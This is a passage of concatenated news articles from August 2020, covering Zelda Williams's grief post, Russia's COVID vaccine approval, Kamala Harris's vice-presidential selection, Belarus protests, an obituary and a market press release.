feel a bit like being seen as a roadside memorial a place, not a person where people drive past and leave their sentiments to then go about their days comforted their love for him was witnessed.' 'Sometimes, that leaves me emotionally buried under a pile of other's [sic] memories instead of my own,' she continued. 'After all, even roses weigh a ton when they're left by the truckload.' Too much: She wrote that all the messages and posts were overwhelming and left her 'emotionally buried under a pile of other's [sic] memories instead of my own' She wrote that Tuesday would be 'simply too much' for her to bear, so she would be stepping back from social media. But in case anyone suffered their own mental health crisis, she included information for suicide prevention and substance abuse hotlines for countries throughout the world. 'Whoever out there needs to hear it, please use this as your signpost in the desert,' she wrote. 'Reach out. Seek help. Keep fighting.' Sweet: She capped off the post with a sweet throwback of her and Robin going paintballing. 'Miss you daily poppo. Especially this goofy smile and the big ole laugh that went with it' Zelda posted the help lines to her Insta Stories, but she ended the list with a sweet throwback photo of happier times with her father. She and Robin were both decked out in camouflage pants for a round of paintballing, while the Fisher King star showed off his iconic smile, which was augmented by a salt-and-pepper goatee. 'Miss you daily poppo. Especially this goofy smile and the big ole laugh that went with it,' she wrote. Having a laugh: She shared a cheeky post on July 21 for what would have been her dad's 69th birthday. She pledged to donate '69.69' to local homeless shelters; shown together in 2005 Robin was found dead in his home in 2014 from a suicide, which his widow Susan Schneider blamed on his diagnosis of Lewy body dementia. The condition can lead to cognitive and memory declines, but can also create Parkinson's-like tremors and lead to depression and visual hallucinations. Back on July 21, Zelda shared a cheeky post in honor of what would have been her father's 69th birthday. 'Today would've been Dad's 69th birthday, so to honor him (& that glorious number), I will be donating $69.69 to as many local homeless shelters as I can,' she wrote on social media. 'Join me if you like, but regardless, know I am wishing you all at least one hearty, immature belly laugh on Dad today.' MOSCOW Russia has become the first country in the world to approve a vaccine for the coronavirus, President Vladimir V. Putin announced on Tuesday, though global health authorities say the vaccine has yet to complete critical, late-stage clinical trials to determine its safety and effectiveness. Mr. Putin, who told a cabinet meeting on Tuesday morning that the vaccine works effectively enough, said that his own daughter had taken it. And in a congratulatory note to the nation, he thanked the scientists who developed the vaccine for this first, very important step for our country, and generally for the whole world. The major powers are locked in a global race for a vaccine that President Trump, Mr. Putin and Chinas president, Xi Jinping, are treating as a proxy war for their personal leadership and competing national systems. The United States, with an effort called Operation Warp Speed, and China have poured billions into the pursuit, and health officials worry that Russia is trying to snatch a victory by cutting corners. By skipping large-scale clinical trials, the Russian dash for a vaccine has raised widespread concern that it is circumventing vital steps and potentially endangering people in order to score global propaganda points. By Arthur I. Cyr "Why do we come to this place, to Hiroshima?" President Barack Obama asked that question publicly on his visit on May 27, 2016. He was the first sitting U.S. president to visit the city. On Aug. 6, 1945, an American B-29 bomber with escort aircraft traversed the clear skies over Hiroshima, Japan. No Japanese interceptor aircraft rose to challenge the intruder. The once substantial sea and air forces of Imperial Japan were by then largely destroyed. The bomb bay doors opened, and a single bomb dropped. Then, hell on Earth was unleashed. A blinding flash, unbearable light as well as heat introduced a gigantic, utterly devastating explosion. In an instant, the city of Hiroshima was quite literally destroyed. The new atomic bomb, used for the first time against people in war, worked according to plan. Even scientists, military personnel and others involved in the mammoth Manhattan Project were uncertain what they had created. To provide clarity, there was one test in advance. On July 16, an atomic bomb detonated successfully in Alamogordo, New Mexico. The experts calculated the odds favored a gigantic but limited explosion, but no one knew for sure what would happen. J. Robert Oppenheimer, a project leader, thought of lines in the "Bhagavad Gita," Hindu scripture, referencing "a thousand suns" and "Now I am become Death." On Aug. 9, a second atom bomb fell on Nagasaki, unleashing more devastation and massive killing. An estimated 130,000 people perished from the Hiroshima bombing, approximately half during the explosion, most of the rest soon thereafter. The comparable estimate for Nagasaki is 80,000 people. Victims of these terrible weapons continued to die because of radiation and other lingering after effects. President Obama deserves credit for visiting Hiroshima. Two other U.S. presidents have visited this special city, Richard Nixon in 1964 before he was elected to the White House and Jimmy Carter in 1984 following his presidency. Obama was particularly eloquent in answering his own important question: "We come to ponder a terrible force unleashed in a not so distant past. We come to mourn the dead, including over 100,000 in Japanese men, women and children; thousands of Koreans; a dozen Americans held prisoner." Since World War II, nuclear weapons have been part of our dangerous world, but have never been used again in war. President Harry Truman refused to employ them during the Korean War, despite public advocacy by Gen. Douglas MacArthur. Truman instead fired the insubordinate MacArthur. In 1954, President Dwight Eisenhower came under intense pressure to use nuclear weapons to support our ally France, beleaguered and losing to revolutionary forces in Indochina. Ike firmly, skillfully resisted. These courageous, successful presidents created precedents that provided an increasingly strong foundation for later efforts to rein in the nuclear arms race, especially but not exclusively between the U.S. and the Soviet Union. There was promising progress during the Obama administration, in particular with the signing in April 2010 of a strategic arms reduction treaty with Russia. Since then, both nations have moved away from cooperation and begun aggressively developing new weapons programs. These include conventional as well as nuclear weapons. Powerful military lobbies operate in both nations. We need leadership that can restrain these extremely dangerous trends, plus public discussion and debate. McGeorge Bundy, national security adviser to Presidents John F. Kennedy and Lyndon Johnson, provides "Danger and Survival - Choices About the Bomb During the First Fifty Years." Read this excellent book. Arthur I. Cyr (acyr@carthage.edu) is Clausen Distinguished Professor at Carthage College and author of "After the Cold War." On Tuesday, former Vice President Joe Biden announced he had selected California Senator Kamala Harris as his running mate in the 2020 presidential election. The decision made Harris the first Black woman and first South Asian-American woman vice presidential nominee for a major political party in U.S. history. Harris' selection also marked the first time the Democratic ticket will not have a candidate who graduated from an Ivy League school since 1984. Biden attended the University of Delaware and the Syracuse University College of Law; Harris attended Howard University and the University of California, Hastings College of the Law. For decades, Ivy League graduates have been incredibly common among Democrat and Republican presidential picks. The last ticket without an Ivy League graduate to win the presidency was Jimmy Carter and Walter Mondale in 1976. President Donald Trump graduated from the University of Pennsylvania in 1968 after transferring from Fordham University and Vice President Mike Pence attended Hanover College and Indiana University's Robert H. McKinney's School of Law. The most recent Republican ticket without an Ivy League graduate was in 2008, with John McCain (who attended the U.S. Naval Academy) and Sarah Palin (who attended the University of Idaho). Walter Mondale (who attended the University of Minnesota and the University of Minnesota Law School) and Geraldine Ferraro (who attended Marymount Manhattan College and Fordham University School of Law) were the last Democratic ticket without an Ivy League graduate when they ran in 1984. Harris graduated from Howard University, a prestigious historically Black university, in 1986. She is also the first person to graduate from an HBCU to sit on a major party ticket. The senator has credited Howard University for helping guide her professional path. After becoming the second Black woman, and the first South Asian-American woman, elected to the U.S. Senate in 2016, she returned to speak at her alma mater telling the crowd, "A few things have impacted my life: my incredible mother and extended family and attending this school." During her first year at Howard, Harris was elected to serve as the freshman class representative of Howard's liberal arts student council. "That was my first run for public office," Harris said in an interview with Essence. "And when you run for public office at Howard University, you can run for office anywhere." Harris was also a member of the Howard debate team, chaired Howard's economics society and pledged the Alpha chapter of Alpha Kappa Alpha Sorority, Inc. After graduating from Howard, Harris went on to earn her law degree from the University of California, Hastings College of the Law in 1989 and was awarded an honorary degree from the University of Southern California in 2015. While at UC Hastings, Harris served as the president of the Black Law Students Association. Don't miss: The police reform bill recently signed by Gov. Ned Lamont is an important step forward in holding law enforcement accountable. Unfortunately, it doesnt address the way Connecticut responds to individuals experiencing mental health crises, which must remain a major component of efforts to defund or unbundle the police. Its clear that police officers have a mixed record as mental health first responders given their dire lack of training in safe, appropriate mental health intervention. Too often, this leads to the unnecessary arrest of individuals men and women whose diagnoses make it difficult to ask for help or seek their own treatment. Instead of receiving needed care, theyre incarcerated and subjected to the trauma of imprisonment. In the worst cases, they are seriously injured or killed by police officers. We know this happens much more often when the persons being confronted are from minority communities. Take Mubarak Soulemane, a 19-year-old with schizophrenia who was shot by a Connecticut state trooper this past January. Soulemane was well-known among New Haven police. According to his family, officers had escorted him to Yale New Haven Hospital approximately 10 times in the last four years. With that history, there was a very real opportunity to save Soulemane to recognize he was experiencing a mental health crisis and treat him with compassion instead of as a danger to society. It doesnt have to be this way. As a mental health attorney, I have led private psychiatric interventions and know firsthand that violence and arrest are not predetermined. Our team works together to ensure the best possible outcomes for persons in distress. Without uniforms or weapons, we ensure legal entry into a home, evaluate the individual and determine whether hospitalization is necessary. We only call the police if he or she will not voluntarily agree to treatment. It is a last resort. Similar models are beginning to take hold. Across the country, many communities now benefit from Mobile Crisis Response Teams, which offer same-day interventions from on-call mental health professionals. These individuals are trained to respond to crises in a manner that is least damaging and more likely to result in a therapeutic outcome. To continue serving as the first line of defense to mental health crises, police departments have real work to do. They must bring in licensed, experienced mental health professionals to provide comprehensive, ongoing training focused on mental health and crisis intervention. This must begin with new recruits and repeat annually at a minimum. More extensive training should be provided to dedicated mental health units who intervene specifically when the person in question is known to have a mental illness. Ideally, such units would not just have police trained in mental health, but also mental health professionals who, together with officers, respond to calls. Just as crucially, police departments must win back community trust. Many people are hesitant to call 911 for help with a mentally ill loved one due to fear that he or she will be viewed as a criminal threat hurt, killed or incarcerated instead of directed to treatment. Such mistrust deprives communities of resources that could provide significant and much-needed assistance. It also makes communities less supportive of funding initiatives to help police departments evolve a paradox as improvements are often only possible with funding. I commend Connecticut for the police reform measures it has green-lighted thus far. Now the state, along with our own 49 other states, must build on this work to best ensure the health and safety of residents with mental illness. Carolyn Reinach Wolf is an executive partner at the law firm Abrams Fensterman and is director of its mental health law practice. In this handout photo taken on Thursday, Aug. 6, 2020, and provided by Russian Direct Investment Fund, an employee shows a new vaccine at the Nikolai Gamaleya National Center of Epidemiology and Microbiology in Moscow, Russia. Russia on Tuesday, Aug. 11 became the first country to approve a coronavirus vaccine for use in tens of thousands of its citizens despite international skepticism about injections that have not completed clinical trials and were studied in only dozens of people for less than two months. (Alexander Zemlianichenko Jr/ Russian Direct Investment Fund via AP) It took six months for the world to reach 10 million confirmed cases of the coronavirus. It took just over six weeks for that number to double. The worldwide count of known COVID-19 infections climbed past 20 million on Monday, with more than half of them from just three countries: the U.S., India and Brazil, according to the tally kept by Johns Hopkins University. The average number of new cases per day in the U.S. has declined in recent weeks but is still running high at over 54,000, versus almost 59,000 in India and nearly 44,000 in Brazil. The severe and sustained crisis in the U.S.over 5 million cases and 163,000 deaths, easily the highest totals of any countryhas dismayed and surprised many around the world, given the nation's vaunted scientific ingenuity and the head start it had over Europe and Asia to prepare. South Africa, Colombia, Mexico, Peru, Argentina, Russia and the Philippines round out the list of the top 10 countries contributing the most new cases to the global tally since July 22, according to an Associated Press analysis of Johns Hopkins data through Monday. The real number of people infected by the virus around the world is believed to be much higherperhaps 10 times higher in the U.S., according to the Centers for Disease Control and Preventiongiven testing limitations and the many mild cases that have gone unreported or unrecognized. Health workers screen people for COVID-19 symptoms in Dharavi, one of Asia's biggest slums, in Mumbai, India, Tuesday, Aug. 11, 2020. India has the third-highest coronavirus caseload in the world after the United States and Brazil. (AP Photo/Rafiq Maqbool) In other developments, Russia on Tuesday became the first country to approve a vaccine against the virus. While a proven coronavirus vaccine would be an epic medical breakthrough, the move raised alarms among scientists because the shots have not been subjected to large-scale testing in humans. They have only been studied in dozens of people, not the thousands typically involved. Some of the worst-hit nations have been those whose leaders have downplayed the severity of COVID-19, undercut the advice of health experts and pushed unproven remedies. President Donald Trump, Brazil's President Jair Bolsonaro and Mexican President Andres Manuel Lopez Obrador, for example, all rarely wear masks and have resisted calls for strict lockdowns. Trump and Bolsonaro have promoted the anti-malaria drug hydroxychloroquine, even though studies have shown it to be useless against the virus, with potentially deadly side effects. A civic worker fumigates a lane in Mumbai, India, Tuesday, Aug. 11, 2020. India has the third-highest coronavirus caseload in the world after the United States and Brazil. (AP Photo/Rafiq Maqbool) In the U.S., Mexico and Brazil, testing has been criticized as inadequate. While the U.S. has ramped up testing in recent months, Americans have faced discouragingly long lines and delays in getting the results. In Mexico, 47% of tests are coming back positive, suggesting that only seriously ill people are getting screened. Contact tracing, which has helped authorities in other countries get a handle on the spread, has also been criticized as insufficient in all three countries. The U.S., with about 4% of the world's population, accounts for about 25% of the known coronavirus infections and 22% of the deaths. Mexico has reported nearly 500,000 cases and more than 50,300 deaths, but the president's point man on the epidemic, Assistant Health Secretary Hugo Lopez-Gatell, said a full lockdown would prove too costly for people with little savings and tenuous daily incomes. People wearing face masks wait their turn to be called for a PCR test for the COVID-19 outside a local clinic in Santa Coloma de Gramanet in Barcelona, Spain, Tuesday, Aug. 11, 2020. (AP Photo/Emilio Morenatti) Fruit and vegetable vendors, wearing masks against the spread of the COVID-19 infections, wait for customers at a market in Bucharest, Romania, Tuesday, Aug. 11, 2020. Romania is faced with an increasing number of COVID-19 infections and related deaths over the past weeks, the highest levels since the pandemic started in the country in February, blamed mostly on people not observing the prevention regulations, like correctly wearing a face mask. (AP Photo/Andreea Alexandru) Health workers return after screening people for COVID-19 symptoms in Dharavi, one of Asia's biggest slums, in Mumbai, India, Tuesday, Aug. 11, 2020. India has the third-highest coronavirus caseload in the world after the United States and Brazil. (AP Photo/Rafiq Maqbool) People eat at a rooftop restaurant close to the historical Badshahi Mosque, following an ease in restrictions that had been imposed to help control the coronavirus, in Lahore, Pakistan, Tuesday, Aug. 11, 2020. Pakistan's daily virus infection rate has stayed under 1,000 for more than four weeks prompting the government to further ease restrictions for restaurants, parks, gyms and cinemas. (AP Photo/K.M. Chaudary) Artists protest outside the Fine Arts Palace to demand financial aid amid the economic slowdown brought by partial lockdowns to contain the spread of COVID-19 in Mexico City, Tuesday, Aug. 11, 2020. The National Artistic Resistance (RAN) organization is asking the government for artists to be included in rescue budgets and given social support. (AP Photo/Marco Ugarte) A man wearing a face mask to protect against the coronavirus sits in front of a mural at a shopping and office complex in Beijing, Tuesday, Aug. 11, 2020. Mainland China and semi-autonomous Hong Kong saw declines in their recent outbreaks Tuesday. (AP Photo/Mark Schiefelbein) A little girl wearing a face mask amid the new coronavirus pandemic gets her temperature taken at a police checkpoint, at the entrance to the province of Havana, Cuba, Monday, Aug. 10, 2020. Cuban authorities on Monday re-imposed measures aimed at containing the spread of COVID-19, restricting inter-provincial travel, closing beaches, bars, restaurants, and keeping the main airport closed to international travel. (AP Photo/Ramon Espinosa) Wearing a mask to curb the spread of the new coronavirus, Martha Gonzalez Reyes, 76, sells roses outside Metro Hidalgo in central Mexico City, Monday, Aug. 10, 2020. After four months at home, Gonzalez returned to selling on August 1, but said business hasn't fully rebounded. "People have less money to spend, and they don't want to go out and get infected," said Gonzalez. (AP Photo/Rebecca Blackwell) People wearing face masks to protect against the coronavirus ride an escalator past a sign of a nail salon at a shopping and office complex in Beijing, Tuesday, Aug. 11, 2020. Mainland China and semi-autonomous Hong Kong saw declines in their recent outbreaks Tuesday. (AP Photo/Mark Schiefelbein) Teacher Inggit Andini, right, wearing a face shield as a precaution against the coronavirus outbreak, speaks as her students in a makeshift classroom at her residence in Tangerang, Indonesia, Monday, Aug. 10, 2020. Andini offered free extra lessons for students who lack access to the internet as the school where she works at remain closed and switched to online learning due to the outbreak. (AP Photo/Tatan Syuflana) Wearing a mask to curb the spread of the new coronavirus, Angel Pandal, 25, talks to a neighbor while taking a break from recycling destroyed washing machines, in Lima, Peru, Monday, Aug. 10, 2020. "After the start of the emergency due to the pandemic, there is less and less work, the economic situation is very tough here," Pandal said. (AP Photo/Rodrigo Abd) "We do not want a solution that would, in social terms, be more costly than the disease itself," he said. Cases have begun to rise significantly in Caracas, Venezuela, perhaps one of the world's least-prepared cities to face the pandemic. The country has been under a lockdown since March, but limited testing, open defiance of quarantine measures and the return of tens of thousands of Venezuelan migrants from countries with higher caseloads have resulted in a steady expansion that is starting to overwhelm hospitals with scarce supplies. "What has been successful in other countries is massive testing and isolating the population that is sick," said Domingo Subero, 66, an engineer worried about the situation in Caracas. "Here, neither of those two things is happening." Elsewhere around the world, New Zealand, which has been praised for quickly getting the virus under control, reported the first cases of local transmission in the country in 102 days. Prime Minister Jacinda Ardern said four cases were discovered in a single Auckland household. Explore further Follow the latest news on the coronavirus (COVID-19) outbreak 2020 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. Questo comunicato e stato pubblicato piu di 1 anno fa. Le informazioni su questa pagina potrebbero non essere attendibili. San Francisco, 11 Aug 2020: The Report Sheet Face Mask Market Size, Share & Trends Analysis Report By Product Type (Cotton, Non-woven, Hydrogel, Bio-cellulose), By Region, And Segment Forecasts, 2019 - 2025 The global sheet face mask market size is anticipated to reach USD 447.7 million by 2025, according to a new report by Grand View Research, Inc., expanding at a CAGR of 8.2% over the forecast period. Increasing awareness related to skin care, along with increase in demand for Korean skin care products, is expected to drive the market during the forecast period. Cotton was the most popular product type in 2018. High product visibility, along with cheap pricing, is a major factor contributing to the growth of this segment. However, these sheet masks are disposed in plastic pouches, which affects the environment. Bio-cellulose masks that are made of natural cellulose obtained from bacteria are gaining significant popularity. They perform better as compared to their fabric counterparts. This is expected to increase the demand for bio-cellulose and other natural ingredient-based masks, which will positively influence the overall market growth. Asia Pacific occupied the largest sheet face mask market share in 2018 owing to high demand in countries such as South Korea and China. China is one of the major countries contributing to the growth of the global cosmetics market. Increase in the consumption of cosmetics is expected to propel the demand for skin care products in this country. This is expected to positively influence the overall product demand. Moreover, product innovation in Asia Pacific countries in terms of the ingredients used in the masks is expected to increase product offerings in the market, which will propel market growth. North America is anticipated to witness the fastest growth from 2019 to 2025 owing to rising popularity for Korean skin care products. The smooth and flawless skin texture of many Korean actors and celebrities is the major factor influencing product demand in U.S. and Canada. Moreover, consumers are willing to purchase these products at a premium price owing to increasing awareness related to the benefits of these products. This is anticipated to increase the product demand during the forecast period. Access Research Report of Sheet Face Mask Market @ https://www.grandviewresearch.com/industry-analysis/sheet-face-mask-market Further key findings from the report suggest: Bio-cellulose sheet face mask is projected to ascend with a CAGR of 10.0% over the forecast period due to its ability to adhere to the skin firmly and improve the elasticity of the skin Europe is expected to be the largest regional sheet face mask market to expand at a CAGR of 8.0% over the forecast period owing to significant product demand in major countries such as Germany and U.K. FaceTory, a popular Korean subscription service for face masks, has launched its very first brand of sheet masks known as Sun Bae. Increasing product demand, along with the companys aim to improve its product offering was the major reason for the launch. Browse more reports of this category by Grand View Research at: https://www.grandviewresearch.com/industry/beauty-and-personal-care Grand View Research has segmented the global sheet face mask market by product type and region: Sheet Face Mask Product Type Outlook (Revenue, USD Million, 2015 - 2025) Cotton Non-woven Hydrogel Bio-cellulose Others Sheet Face Mask Regional Outlook (Revenue, USD Million, 2015 - 2025) North America Europe Asia Pacific Central & South America Middle East & Africa Access Press Release of Sheet Face Mask Market @ https://www.grandviewresearch.com/press-release/global-sheet-face-mask-market About Grand View Research Grand View Research, Inc. is a U.S. based market research and consulting company, registered in the State of California and headquartered in San Francisco. The company provides syndicated research reports, customized research reports, and consulting services. To help clients make informed business decisions, we offer market intelligence studies ensuring relevant and fact-based research across a range of industries, from technology to chemicals, materials and healthcare. For More Information:www.grandviewresearch.com China sanctions US lawmakers, NGO heads as countermeasures Global Times Source: Global Times Published: 2020/8/10 17:50:30 China on Monday announced sanctions on 11 US lawmakers and individuals, including Marco Rubio and Ted Cruz, as countermeasures against earlier US sanctions on Chinese central government and Hong Kong Special Administrative Region (HKSAR) officials following the passing of the national security law for Hong Kong. The US State Department and the Department of the Treasury on Friday announced sanctions against some Chinese officials, including HKSAR Chief Executive Carrie Lam. "China resolutely opposes and strongly condemns such blatant interference in Hong Kong affairs - China's internal affairs - as it seriously violated international law and basic principles of international relations," Chinese Ministry of Foreign Affairs spokesperson Zhao Lijian said at Monday's routine press conference. In response to the US actions, China announced sanctions starting Monday against 11 US lawmakers and NGO chiefs who performed badly on Hong Kong-related affairs. Among them are senators Marco Rubio, Ted Cruz, Josh Hawley, Tom Cotton, Pat Toomey and Congressman Chris Smith. Chiefs of so-called NGOs, namely Carl Gershman, president of the National Endowment for Democracy, Derek Mitchell, president of the National Democratic Institute, Daniel Twining, president of the International Republican Institute, Kenneth Roth, executive director of Human Rights Watch, and Michael Abramowitz, president of Freedom House, are also on the sanctions list. Since the return of Hong Kong , the "one country, two systems" principle has been recognized around the world as a success and Hong Kong residents enjoy democratic rights and all sorts of freedoms in line with the law. That is a fact that no unbiased person can deny, Zhao said. "But the principle also faces challenges during its implementation, that is to say, national security risks in HKSAR," Zhao said. When the HKSAR failed to complete the legislation work amid threats and harm to national security in Hong Kong, the central government took the decisive step to close the loopholes in legislation and enforcement at the national level. The national security law for Hong Kong aims to punish a few criminals who jeopardize national security, and will protect law-abiding residents who form the majority, Zhao stressed. "I want to reiterate that Hong Kong is China's Hong Kong and Hong Kong affairs are China's internal affairs that no external forces can interfere in. China urges the US to recognize the situation and correct its wrongdoings, and not to go further and further on the wrong path," Zhao said. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Anil Kapoor has shared a glimpse of his first photoshoot with late actor Rishi Kapoor for their 1988 film Vijay. Anil took to Twitter to celebrate 32 years of the film on Tuesday along with two throwback pictures from the photo shoot. Sharing them on Twitter, he wrote, First Photoshoot with James for Vijay... its been 32 years... #32yearsofVijay. Anil lovingly called Rishi James. The two pictures show the two actors twinning in suits. First Photoshoot with James for Vijay... its been 32 years... #32yearsofVijay pic.twitter.com/Z7Mh2DZjLE Anil Kapoor (@AnilKapoor) August 11, 2020 Vijay also starred Rajesh Khanna, Hema Malini and Meenakshi Sheshadri as parallel leads. The film was directed by Yash Chopra. Rishi died on April 30 after a two-year-long battle with leukaemia. Anil had shared why he called the late actor James in a heartfelt note post his death. He wrote, The reason I called Rishi Kapoor James was because according to me if there was anyone who looked as good as James Dean it was him...and he loved hearing that from me...he will always be James for me... Anil had shared a collage of the two actors together to prove the point. In another post about growing up with the late actor, he had added, I dont know where to begin...from growing up, to living our dreams on screen, we were together through it all... you were like an elder brother to me, a shoulder when I needed the support, a mentor when I needed that push and a friend always. Rishi and Anil had also shared screen space in Gurudev and Karobaar: The Business of Love. Also read: 20 years of Dhadkan: Shilpa Shetty shares fond memories from making of Akshay Kumar, Suniel Shetty film Rishi, the star of films such as Karz, Kabhie Kabhie, Mulk and Kapoor & Sons, died at the age of 67 at H N Reliance Hospital in Mumbai. He had returned to India after undergoing treatment in New York. He is survived by wife Neetu, son Ranbir Kapoor and daughter Riddhima Kapoor Sahni. Follow @htshowbiz for more SHARE THIS ARTICLE ON Harris becomes the first Black woman and the first Asian American to compete on a major partys presidential ticket. Joe Biden, the presumptive Democratic presidential candidate, picked Senator Kamala Harris as his choice for vice president, making her the first Black woman and the first Asian American to compete on a major partys presidential ticket in the United States. The announcement on Tuesday capped a months-long search for a Democratic partner to challenge President Donald Trump in November. Biden on Twitter called Harris a fearless fighter for the little guy, and one of the countrys finest public servants. Together, with you, were going to beat Trump, he said. I have the great honor to announce that Ive picked @KamalaHarris a fearless fighter for the little guy, and one of the countrys finest public servants as my running mate. Joe Biden (@JoeBiden) August 11, 2020 Harris, who ran for the 2020 Democratic presidential nomination against Biden, said she was honored to join the ticket and would do what it takes to help him win. Biden could unify the American people because hes spent his life fighting for us, she wrote on Twitter .@JoeBiden can unify the American people because he's spent his life fighting for us. And as president, he'll build an America that lives up to our ideals. I'm honored to join him as our party's nominee for Vice President, and do what it takes to make him our Commander-in-Chief. Kamala Harris (@KamalaHarris) August 11, 2020 Bidens campaign said he and Harris would make their first joint appearance on Wednesday in Wilmington, Delaware, where Biden lives and has spent most of his time in recent months limiting campaign travel because of the coronavirus pandemic. In choosing Harris, a 55-year-old first-term senator from California, Biden is acknowledging the vital role Black voters will play in his bid to defeat Trump. Four years ago, the first dip in Black voter turnout in 20 years contributed to Democrat Hillary Clintons upset loss to Trump. More than prepared Biden, whose foundering campaign was rescued by Black voters in South Carolinas primary in February, needs their strong support against Trump. Black voters will be crucial in battleground states, such as Michigan, Pennsylvania and Wisconsin, where Trump narrowly prevailed in 2016, as well as Republican-leaning southern states like Georgia and Florida that polls show have become competitive this year. Biden had also been under increasing pressure to select a Black woman as his running mate amid social unrest over racial injustice and police brutality following the May 25 killing of George Floyd, a Black man, by a white policeman in Minneapolis. Numerous Black leaders, including politicians who had themselves been considered as Bidens running mate, emphasised the historic import of Harris selection. To see a Black woman nominated for the first time reaffirms my faith that in America, there is a place for every person to succeed no matter who they are or where they come from, said US Representative Val Demings, a Black woman who had been a contender. Former President Barack Obama praised Harris on Twitter: She is more than prepared for the job. Shes spent her career defending our Constitution and fighting for folks who need a fair shake. Biden served as vice president for eight years under Obama, the first Black US president. Ive known Senator @KamalaHarris for a long time. She is more than prepared for the job. Shes spent her career defending our Constitution and fighting for folks who need a fair shake. This is a good day for our country. Now lets go win this thing. pic.twitter.com/duJhFhWp6g Barack Obama (@BarackObama) August 11, 2020 Meanwhile, Clinton, the 2016 Democratic presidential candidate, called Harris an incredible public servant and leader and said she would be a strong partner for Biden. I'm thrilled to welcome @KamalaHarris to a historic Democratic ticket. She's already proven herself to be an incredible public servant and leader. And I know shell be a strong partner to @JoeBiden. Please join me in having her back and getting her elected. pic.twitter.com/cmtOO8Gqqv Hillary Clinton (@HillaryClinton) August 11, 2020 Niambi Carter, associate professor of political science at the Howard University, called Harriss selection historic. This is as significant as the Barack Obama moment, she told Al Jazeera from Washington, DC. Im a Black woman in her 40s, and Ive never had the opportunity to vote for a Black woman for an office of this type. You can still count the number of Black people whove been senators, governors on one hand this shows how far we have to go as a country. Harris was not just a descriptive representative, said Carter. She is a formidable campaigner. She has won state-wide elections multiple times in the state of California, which while very diverse does not have a large Black population. So, youre looking at someone who knows how to win elections. The Biden campaign notched its best grassroots fundraising day following the announcement, according to one of its digital directors, Clarke Humphrey. Republicans immediately tried to portray Harris as a radical who embraces far-left priorities such as sweeping police reform and a ban on fracking. During a White House briefing on Tuesday, Trump called Harris the meanest, the most horrible, most disrespectful and most liberal senator and said she was his No. 1 draft pick given her unsuccessful presidential campaign. Moment of national crisis Harris joins Biden in the 2020 race at a moment of unprecedented national crisis. The coronavirus pandemic has claimed the lives of more than 160,000 people in the US, far more than the toll experienced in other countries. Business closures and disruptions resulting from the pandemic have caused severe economic problems. Trumps uneven handling of the crisis has given Biden an opening, and he enters the campaigns final stretch in a strong position against the president. In adding Harris to the ticket, he can point to her relatively centrist record on issues such as healthcare and her background in law enforcement in California, the countrys largest state. Bidens campaign released a video of a virtual meeting between Biden and Harris who are now the presumptive Democratic nominees on the presidential ticket [Joe Biden/Instagram] But Harriss record as California attorney general and district attorney in San Francisco, which was heavily scrutinised during the Democratic primary, turned away some liberals and younger Black voters who saw her as out of step on issues of racism in the legal system and police brutality. Critics said she did not do enough to investigate police shootings and too often sided with prosecutors in wrongful conviction cases. But her defenders said she has always been reform-minded and point to her record in the Senate, where she has championed a police-reform bill and an anti-lynching bill, among other measures. In the aftermath of Floyds killing, she co-sponsored legislation in June that would ban police from using chokeholds and no-knock warrants, set a national use-of-force standard and create a national police misconduct registry, among other things. It would also reform the qualified immunity system that shields officers from liability. Harris is also known for her sometimes aggressive questioning style in the Senate, most notably of Brett Kavanaugh during his 2018 Supreme Court confirmation hearing. As a presidential candidate, she also took Biden to task in a nationally televised debate over his past stances on mandatory busing for students as a means to desegregate schools. While that exchange failed to boost her White House hopes, the Biden campaign will now look for her to train her fire on Trump and Vice President Mike Pence. Harris is scheduled to debate Pence on October 7 in Salt Lake City, Utah. The choice of a running mate has added significance for Biden, 77, who would be the oldest person to become president if he is elected. His age has led to speculation he will serve only one term, making Harris a potential top contender for the nomination in 2024. Donald Lenard Moore, 80, of Mechanicsville, MD departed this life on Thursday, August 6, 2020 with his wife by his side at Sagepoint Senior Living. He was born on April 28, 1940 in Hillside, MD. He was the son of the late Wirtie Zoller Moore and Pearl Rebecca (Posey) Moore. Don met the love of his life, Ethel "Vicki" Mae Stauffer when he was a young man and knew instantly she was meant to be his other half. They married on November 9, 1963 and were married for over fifty-six (56) years. He would happily tell you the best decision he ever made was changing Vicki's last name to Moore and raising a family with his best friend. Don was a hard-working, self-made man who ran his own small business. He worked in Sales and Trucking. He enjoyed working hard and especially with his trucks. Although he was happy to retire in 2004, he still tinkered with his own prized cars. Classic cars and an appreciation of smooth lines, Don treasured his car collection. An active member of the Southern Knights Rod & Custom Car Club. Don was happy to offer a helping hand. The only thing he loved more than his cars was his family. A devoted husband, father and grandfather his love for his family will always be remembered. He will be missed by many but none as much as his family. Don is survived by his wife, Vicki Moore of Mechanicsville, MD; daughters, Loree Moore LaPorte (Randy) of Hollywood, MD, and Donna Moore of Mechanicsville, MD; two grandchildren, Jeffrey Gagnon (Jessica) and Nicolas Gagnon (Alexis). He was preceded in death by his parents and brother, James Verda Moore. Family will receive friends for a Don's Visitation on Tuesday, August 11, 2020 from 11:00 a.m. to 1:00 p.m. with a Funeral service at 1:00 p.m. officiated by Pastor Steve Humphrey from Mt. Zion United Methodist Church all at Brinsfield Funeral Home & Crematory, P.A., 30195 Three Notch Road, Charlotte Hall, MD 20622. Interment will be immediately following at Mt. Zion United Methodist Church Cemetery. Condolences to the family may be made at www.brinsfieldfuneral.com Arrangements by the Brinsfield Funeral Home & Crematory, P.A., Charlotte Hall, MD. SERGEI GAPON/AFP via Getty ImagesBy PATRICK REEVELL, ABC News (NEW YORK) -- There were intense clashes in Belarus' capital Minsk on Monday night as security forces sought to violently disperse thousands of protesters who gathered for the second day in a row to demand that the country's authoritarian leader, Alexander Lukashenko, step down following a contested election. Large crowds of protesters filled several parts of central Minsk, as police and heavily armed interior ministry troops indiscriminately attacked them, throwing stun grenades and reportedly firing rubber bullets. Authorities said at least one protester was killed. The protests appeared to be swelling and demonstrators became increasingly emboldened, with police struggling to disperse them. On some streets, video appeared to show demonstrators using garbage dumpsters to build barricades and firing fireworks at the police officers. Clashes were also reported in a number of other cities across Belarus, where protests broke out. Opposition social messenger channels urged people to gather on the streets and stand their ground against the police. A nationwide strike has also been called for Tuesday. The protests began Sunday night after official results from a presidential election gave Lukashenko 80% of the votes and his main opponent, Svetlana Tikhanovskaya, just 10%, amid suspicions of widespread vote rigging. Tikhanovskaya, 37, a former teacher and stay-at-home mother, has become the head of the swelling protest movement and in the weeks before the election attracted the largest political demonstrations in Belarus since the fall of the Soviet Union. Lukashenko, 65, often known as "Europe's last dictator," has been in 